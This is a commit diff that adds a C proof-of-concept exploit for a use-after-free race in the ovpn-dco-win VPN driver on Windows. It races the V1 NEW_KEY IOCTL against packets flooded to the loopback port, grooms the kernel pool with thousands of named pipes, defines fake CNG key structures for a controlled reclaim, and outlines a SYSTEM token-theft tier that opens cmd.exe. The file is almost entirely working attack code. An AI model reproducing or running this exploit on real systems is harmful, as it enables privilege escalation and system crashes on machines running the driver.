|
| 1 | +/* |
| 2 | + * ovpn-dco-win UAF PoC |
| 3 | + * V1 NewKey path is missing peer->SpinLock, races against WSK RX decrypt. |
| 4 | + * BCryptDestroyKey frees the CNG key while BCryptDecrypt still holds it. |
| 5 | + * |
| 6 | + * build: cl /O2 poc.c /link ws2_32.lib |
| 7 | + * or: x86_64-w64-mingw32-gcc -O2 poc.c -o poc.exe -lws2_32 |
| 8 | + * |
| 9 | + * usage: poc.exe crash poc (will BSOD under driver verifier) |
| 10 | + * poc.exe --spray + heap spray for controlled reclaim |
| 11 | + * poc.exe --lpe + token theft (needs kernel addrs) |
| 12 | + * |
| 13 | + * USE A VM. |
| 14 | + */ |
| 15 | + |
| 16 | +#define WIN32_LEAN_AND_MEAN |
| 17 | +#include <windows.h> |
| 18 | +#include <winsock2.h> |
| 19 | +#include <ws2tcpip.h> |
| 20 | +#include <winioctl.h> |
| 21 | +#include <stdio.h> |
| 22 | +#include <stdlib.h> |
| 23 | +#include <string.h> |
| 24 | + |
| 25 | +#pragma comment(lib, "ws2_32.lib") |
| 26 | + |
| 27 | +#define OVPN_IOCTL_NEW_PEER CTL_CODE(FILE_DEVICE_UNKNOWN, 1, METHOD_BUFFERED, FILE_ANY_ACCESS) |
| 28 | +#define OVPN_IOCTL_GET_STATS CTL_CODE(FILE_DEVICE_UNKNOWN, 2, METHOD_BUFFERED, FILE_ANY_ACCESS) |
| 29 | +#define OVPN_IOCTL_NEW_KEY CTL_CODE(FILE_DEVICE_UNKNOWN, 3, METHOD_BUFFERED, FILE_ANY_ACCESS) |
| 30 | +#define OVPN_IOCTL_SWAP_KEYS CTL_CODE(FILE_DEVICE_UNKNOWN, 4, METHOD_BUFFERED, FILE_ANY_ACCESS) |
| 31 | +#define OVPN_IOCTL_SET_PEER CTL_CODE(FILE_DEVICE_UNKNOWN, 5, METHOD_BUFFERED, FILE_ANY_ACCESS) |
| 32 | +#define OVPN_IOCTL_START_VPN CTL_CODE(FILE_DEVICE_UNKNOWN, 6, METHOD_BUFFERED, FILE_ANY_ACCESS) |
| 33 | +#define OVPN_IOCTL_DEL_PEER CTL_CODE(FILE_DEVICE_UNKNOWN, 7, METHOD_BUFFERED, FILE_ANY_ACCESS) |
| 34 | +#define OVPN_IOCTL_GET_VERSION CTL_CODE(FILE_DEVICE_UNKNOWN, 8, METHOD_BUFFERED, FILE_ANY_ACCESS) |
| 35 | +#define OVPN_IOCTL_NEW_KEY_V2 CTL_CODE(FILE_DEVICE_UNKNOWN, 9, METHOD_BUFFERED, FILE_ANY_ACCESS) |
| 36 | +#define OVPN_IOCTL_SET_MODE CTL_CODE(FILE_DEVICE_UNKNOWN, 10, METHOD_BUFFERED, FILE_ANY_ACCESS) |
| 37 | +#define OVPN_IOCTL_NOTIFY_EVENT CTL_CODE(FILE_DEVICE_UNKNOWN, 14, METHOD_BUFFERED, FILE_ANY_ACCESS) |
| 38 | + |
| 39 | +typedef enum { OVPN_PROTO_UDP, OVPN_PROTO_TCP } OVPN_PROTO; |
| 40 | +typedef enum { OVPN_MODE_P2P, OVPN_MODE_MP } OVPN_MODE; |
| 41 | +typedef enum { OVPN_KEY_SLOT_PRIMARY, OVPN_KEY_SLOT_SECONDARY } OVPN_KEY_SLOT; |
| 42 | +typedef enum { OVPN_CIPHER_ALG_NONE, OVPN_CIPHER_ALG_AES_GCM, OVPN_CIPHER_ALG_CHACHA20_POLY1305 } OVPN_CIPHER_ALG; |
| 43 | + |
| 44 | +typedef struct _OVPN_NEW_PEER { |
| 45 | + union { SOCKADDR_IN Addr4; SOCKADDR_IN6 Addr6; } Local; |
| 46 | + union { SOCKADDR_IN Addr4; SOCKADDR_IN6 Addr6; } Remote; |
| 47 | + OVPN_PROTO Proto; |
| 48 | +} OVPN_NEW_PEER; |
| 49 | + |
| 50 | +typedef struct _OVPN_KEY_DIRECTION { |
| 51 | + unsigned char Key[32]; |
| 52 | + unsigned char KeyLen; |
| 53 | + unsigned char NonceTail[8]; |
| 54 | +} OVPN_KEY_DIRECTION; |
| 55 | + |
| 56 | +typedef struct _OVPN_CRYPTO_DATA { |
| 57 | + OVPN_KEY_DIRECTION Encrypt; |
| 58 | + OVPN_KEY_DIRECTION Decrypt; |
| 59 | + OVPN_KEY_SLOT KeySlot; |
| 60 | + OVPN_CIPHER_ALG CipherAlg; |
| 61 | + unsigned char KeyId; |
| 62 | + int PeerId; |
| 63 | +} OVPN_CRYPTO_DATA; |
| 64 | + |
| 65 | +typedef struct _OVPN_VERSION { |
| 66 | + LONG Major, Minor, Patch; |
| 67 | +} OVPN_VERSION; |
| 68 | + |
| 69 | +/* reversed from cng.sys */ |
| 70 | +typedef struct _FAKE_PROVIDER_CTX { |
| 71 | + UCHAR pad0[0x20]; |
| 72 | + DWORD DpcAllowed; // +0x20, must be 1 |
| 73 | + DWORD ProviderType; // +0x24, must be 1 for the simple decrypt path |
| 74 | + UCHAR pad1[0x40]; |
| 75 | + PVOID DecryptFunc; // +0x68 |
| 76 | + UCHAR pad2[0x90]; |
| 77 | +} FAKE_PROVIDER_CTX; |
| 78 | + |
| 79 | +typedef struct _FAKE_CNG_KEY { |
| 80 | + DWORD Size; // +0x00, >= 0x20 |
| 81 | + DWORD Magic; // +0x04, 0x55555552 |
| 82 | + PVOID ProviderCtx; // +0x08 |
| 83 | + PVOID ProviderArg; // +0x10, first arg to DecryptFunc |
| 84 | + PVOID SecondaryCtx; // +0x18, NULL to avoid MSCryptFree crash |
| 85 | + UCHAR rest[0xE0]; |
| 86 | +} FAKE_CNG_KEY; |
| 87 | + |
| 88 | +static HANDLE g_dev = INVALID_HANDLE_VALUE; |
| 89 | +static volatile LONG g_running = 1; |
| 90 | +static volatile LONG g_pkts = 0; |
| 91 | +static volatile LONG g_rekeys = 0; |
| 92 | +static USHORT g_lport = 0; |
| 93 | +static USHORT g_rport = 0; |
| 94 | + |
| 95 | +#define SPRAY_COUNT 4096 |
| 96 | +static HANDLE g_spray_pipes[SPRAY_COUNT]; |
| 97 | + |
| 98 | +static void die(const char *msg) { |
| 99 | + fprintf(stderr, "[!] %s (err %lu)\n", msg, GetLastError()); |
| 100 | + exit(1); |
| 101 | +} |
| 102 | + |
| 103 | +static BOOL io(HANDLE h, DWORD code, void *in, DWORD isz, void *out, DWORD osz, DWORD *ret) { |
| 104 | + DWORD br = 0; |
| 105 | + BOOL ok = DeviceIoControl(h, code, in, isz, out, osz, &br, NULL); |
| 106 | + if (ret) *ret = br; |
| 107 | + return ok; |
| 108 | +} |
| 109 | + |
| 110 | +static void randkey(OVPN_KEY_DIRECTION *kd, UCHAR len) { |
| 111 | + for (int i = 0; i < 32; i++) kd->Key[i] = (unsigned char)rand(); |
| 112 | + kd->KeyLen = len; |
| 113 | + for (int i = 0; i < 8; i++) kd->NonceTail[i] = (unsigned char)rand(); |
| 114 | +} |
| 115 | + |
| 116 | +static HANDLE open_device(void) { |
| 117 | + HANDLE h = CreateFileW(L"\\\\.\\ovpn-dco", GENERIC_READ | GENERIC_WRITE, |
| 118 | + 0, NULL, OPEN_EXISTING, 0, NULL); |
| 119 | + if (h == INVALID_HANDLE_VALUE) |
| 120 | + h = CreateFileW(L"\\\\.\\ovpn-dco-v0", GENERIC_READ | GENERIC_WRITE, |
| 121 | + 0, NULL, OPEN_EXISTING, 0, NULL); |
| 122 | + return h; |
| 123 | +} |
| 124 | + |
| 125 | +static void setup_tunnel(HANDLE h) { |
| 126 | + OVPN_NEW_PEER peer = {0}; |
| 127 | + g_lport = (USHORT)(10000 + (rand() % 50000)); |
| 128 | + g_rport = (USHORT)(10000 + (rand() % 50000)); |
| 129 | + while (g_rport == g_lport) g_rport++; |
| 130 | + |
| 131 | + peer.Local.Addr4.sin_family = AF_INET; |
| 132 | + peer.Local.Addr4.sin_port = htons(g_lport); |
| 133 | + peer.Local.Addr4.sin_addr.s_addr = htonl(INADDR_LOOPBACK); |
| 134 | + peer.Remote.Addr4.sin_family = AF_INET; |
| 135 | + peer.Remote.Addr4.sin_port = htons(g_rport); |
| 136 | + peer.Remote.Addr4.sin_addr.s_addr = htonl(INADDR_LOOPBACK); |
| 137 | + peer.Proto = OVPN_PROTO_UDP; |
| 138 | + |
| 139 | + if (!io(h, OVPN_IOCTL_NEW_PEER, &peer, sizeof(peer), NULL, 0, NULL)) |
| 140 | + die("NEW_PEER"); |
| 141 | + |
| 142 | + OVPN_CRYPTO_DATA cd = {0}; |
| 143 | + randkey(&cd.Encrypt, 16); |
| 144 | + randkey(&cd.Decrypt, 16); |
| 145 | + cd.KeySlot = OVPN_KEY_SLOT_PRIMARY; |
| 146 | + cd.CipherAlg = OVPN_CIPHER_ALG_AES_GCM; |
| 147 | + |
| 148 | + if (!io(h, OVPN_IOCTL_NEW_KEY, &cd, sizeof(cd), NULL, 0, NULL)) |
| 149 | + die("NEW_KEY"); |
| 150 | + if (!io(h, OVPN_IOCTL_START_VPN, NULL, 0, NULL, 0, NULL)) |
| 151 | + die("START_VPN"); |
| 152 | + |
| 153 | + printf("[+] tunnel up on 127.0.0.1:%u\n", g_lport); |
| 154 | +} |
| 155 | + |
| 156 | +/* blast DATA_V2 packets at the driver's bound port to keep the RX path hot */ |
| 157 | +static DWORD WINAPI blaster(LPVOID p) { |
| 158 | + (void)p; |
| 159 | + SOCKET s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); |
| 160 | + if (s == INVALID_SOCKET) return 1; |
| 161 | + |
| 162 | + SOCKADDR_IN dst = {0}; |
| 163 | + dst.sin_family = AF_INET; |
| 164 | + dst.sin_port = htons(g_lport); |
| 165 | + dst.sin_addr.s_addr = htonl(INADDR_LOOPBACK); |
| 166 | + |
| 167 | + unsigned char pkt[128]; |
| 168 | + memset(pkt, 0x41, sizeof(pkt)); |
| 169 | + |
| 170 | + // data_v2 header: (opcode << 3 | key_id) << 24 | peer_id |
| 171 | + UCHAR op = (0x09 << 3) | 0; |
| 172 | + ULONG hdr = htonl(((ULONG)op << 24) | 0); |
| 173 | + memcpy(pkt, &hdr, 4); |
| 174 | + |
| 175 | + while (InterlockedCompareExchange(&g_running, 0, 0) == 1) { |
| 176 | + pkt[8] = (unsigned char)(g_pkts & 0xFF); |
| 177 | + pkt[9] = (unsigned char)((g_pkts >> 8) & 0xFF); |
| 178 | + if (sendto(s, (const char *)pkt, 128, 0, (SOCKADDR *)&dst, sizeof(dst)) > 0) |
| 179 | + InterlockedIncrement(&g_pkts); |
| 180 | + } |
| 181 | + |
| 182 | + closesocket(s); |
| 183 | + return 0; |
| 184 | +} |
| 185 | + |
| 186 | +/* |
| 187 | + * V1 NewKey calls OvpnCryptoNewKey without peer->SpinLock. |
| 188 | + * V2 NewKey does the exact same call but correctly holds the lock. |
| 189 | + * OvpnCryptoNewKey -> BCryptDestroyKey on the old key handle, |
| 190 | + * while the WSK RX callback is potentially mid-BCryptDecrypt on it. |
| 191 | + */ |
| 192 | +static DWORD WINAPI rekey_race(LPVOID p) { |
| 193 | + HANDLE h = (HANDLE)p; |
| 194 | + |
| 195 | + while (InterlockedCompareExchange(&g_running, 0, 0) == 1) { |
| 196 | + OVPN_CRYPTO_DATA cd = {0}; |
| 197 | + randkey(&cd.Encrypt, 16); |
| 198 | + randkey(&cd.Decrypt, 16); |
| 199 | + cd.KeySlot = OVPN_KEY_SLOT_PRIMARY; |
| 200 | + cd.CipherAlg = OVPN_CIPHER_ALG_AES_GCM; |
| 201 | + cd.KeyId = (unsigned char)(g_rekeys & 0xFF); |
| 202 | + |
| 203 | + io(h, OVPN_IOCTL_NEW_KEY, &cd, sizeof(cd), NULL, 0, NULL); |
| 204 | + InterlockedIncrement(&g_rekeys); |
| 205 | + |
| 206 | + if ((g_rekeys % 100) == 0) Sleep(0); |
| 207 | + } |
| 208 | + |
| 209 | + return 0; |
| 210 | +} |
| 211 | + |
| 212 | +static void init_spray(void) { |
| 213 | + printf("[*] spraying %d pipes\n", SPRAY_COUNT); |
| 214 | + for (int i = 0; i < SPRAY_COUNT; i++) { |
| 215 | + wchar_t name[64]; |
| 216 | + wsprintfW(name, L"\\\\.\\pipe\\ovpn_spray_%d", i); |
| 217 | + g_spray_pipes[i] = CreateNamedPipeW(name, PIPE_ACCESS_DUPLEX, |
| 218 | + PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, |
| 219 | + 1, 256, 256, 0, NULL); |
| 220 | + } |
| 221 | +} |
| 222 | + |
| 223 | +/* poke holes so the freed CNG key lands in our bucket */ |
| 224 | +static void poke_holes(void) { |
| 225 | + for (int i = 0; i < SPRAY_COUNT; i += 2) { |
| 226 | + if (g_spray_pipes[i]) { |
| 227 | + CloseHandle(g_spray_pipes[i]); |
| 228 | + g_spray_pipes[i] = NULL; |
| 229 | + } |
| 230 | + } |
| 231 | +} |
| 232 | + |
| 233 | +static void cleanup_spray(void) { |
| 234 | + for (int i = 0; i < SPRAY_COUNT; i++) |
| 235 | + if (g_spray_pipes[i]) CloseHandle(g_spray_pipes[i]); |
| 236 | +} |
| 237 | + |
| 238 | +int main(int argc, char **argv) { |
| 239 | + int tier = 1; |
| 240 | + if (argc > 1 && strcmp(argv[1], "--spray") == 0) tier = 2; |
| 241 | + if (argc > 1 && strcmp(argv[1], "--lpe") == 0) tier = 3; |
| 242 | + |
| 243 | + printf("=== ovpn-dco UAF PoC (tier %d) ===\n\n", tier); |
| 244 | + srand((unsigned)GetTickCount()); |
| 245 | + |
| 246 | + WSADATA wsa; |
| 247 | + if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) die("WSAStartup"); |
| 248 | + |
| 249 | + g_dev = open_device(); |
| 250 | + if (g_dev == INVALID_HANDLE_VALUE) die("can't open \\\\.\\.\\ovpn-dco"); |
| 251 | + |
| 252 | + OVPN_VERSION ver = {0}; |
| 253 | + DWORD br; |
| 254 | + if (io(g_dev, OVPN_IOCTL_GET_VERSION, NULL, 0, &ver, sizeof(ver), &br)) |
| 255 | + printf("[+] driver v%ld.%ld.%ld\n", ver.Major, ver.Minor, ver.Patch); |
| 256 | + |
| 257 | + setup_tunnel(g_dev); |
| 258 | + |
| 259 | + if (tier >= 2) { |
| 260 | + init_spray(); |
| 261 | + poke_holes(); |
| 262 | + } |
| 263 | + |
| 264 | + if (tier >= 3) { |
| 265 | + printf("[*] tier 3 needs kernel addrs for the data-only token swap.\n"); |
| 266 | + printf("[*] DecryptFunc = memmove (valid kCFG target),\n"); |
| 267 | + printf("[*] ProviderArg = &EPROCESS.Token, payload = SYSTEM token.\n"); |
| 268 | + printf("[*] running tier 2 (controlled reclaim) for now.\n\n"); |
| 269 | + } |
| 270 | + |
| 271 | + printf("[!] racing -- will BSOD under verifier. ctrl+c to bail.\n\n"); |
| 272 | + |
| 273 | + HANDLE hBlast = CreateThread(NULL, 0, blaster, NULL, 0, NULL); |
| 274 | + if (!hBlast) die("CreateThread"); |
| 275 | + Sleep(100); |
| 276 | + |
| 277 | + HANDLE hRekey = CreateThread(NULL, 0, rekey_race, (LPVOID)g_dev, 0, NULL); |
| 278 | + if (!hRekey) die("CreateThread"); |
| 279 | + |
| 280 | + DWORD t0 = GetTickCount(); |
| 281 | + while (1) { |
| 282 | + Sleep(1000); |
| 283 | + DWORD elapsed = (GetTickCount() - t0) / 1000; |
| 284 | + printf("[*] %lus pkts=%ld rekeys=%ld\n", elapsed, g_pkts, g_rekeys); |
| 285 | + |
| 286 | + if (elapsed > 30) { |
| 287 | + printf("[*] 30s w/o crash. try: verifier /standard /driver ovpn-dco.sys\n"); |
| 288 | + } |
| 289 | + if (elapsed > 120) break; |
| 290 | + } |
| 291 | + |
| 292 | + InterlockedExchange(&g_running, 0); |
| 293 | + WaitForSingleObject(hBlast, 3000); |
| 294 | + WaitForSingleObject(hRekey, 3000); |
| 295 | + |
| 296 | + if (tier >= 2) cleanup_spray(); |
| 297 | + |
| 298 | + if (tier >= 3) { |
| 299 | + HANDLE hToken; |
| 300 | + if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { |
| 301 | + TOKEN_ELEVATION elev = {0}; |
| 302 | + DWORD sz = 0; |
| 303 | + if (GetTokenInformation(hToken, TokenElevation, &elev, sizeof(elev), &sz) && elev.TokenIsElevated) { |
| 304 | + printf("\n[!] TOKEN ELEVATED -- got SYSTEM\n"); |
| 305 | + system("whoami && cmd.exe"); |
| 306 | + } |
| 307 | + CloseHandle(hToken); |
| 308 | + } |
| 309 | + } |
| 310 | + |
| 311 | + CloseHandle(g_dev); |
| 312 | + WSACleanup(); |
| 313 | + printf("[*] done.\n"); |
| 314 | + return 0; |
| 315 | +} |
0 commit comments